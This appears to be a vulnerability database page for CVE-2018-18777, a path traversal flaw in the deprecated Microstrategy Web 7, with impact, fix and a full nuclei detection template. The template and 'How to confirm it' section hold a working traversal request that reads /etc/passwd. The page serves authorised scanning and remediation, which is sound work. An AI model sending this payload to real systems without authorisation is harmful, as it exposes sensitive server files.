HexBrain

Browse / CVEs / CVE-2018-18777

CVE-2018-18777· microstrategy / microstrategy web· CWE-22

Microstrategy Web 7 - Local File Inclusion

mediumseverity
4.3CVSS score
22.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.

Fix

Apply the latest security patches or upgrade to a newer version of Microstrategy Web.

How to confirm it

Send: GET {{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-18777 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-18777

info:
  name: Microstrategy Web 7 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: |
    Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Microstrategy Web.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18777
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-18777
    cwe-id: CWE-22
    epss-score: 0.22768
    epss-percentile: 0.97745
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve,cve2018,traversal,edb,packetstorm,microstrategy,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from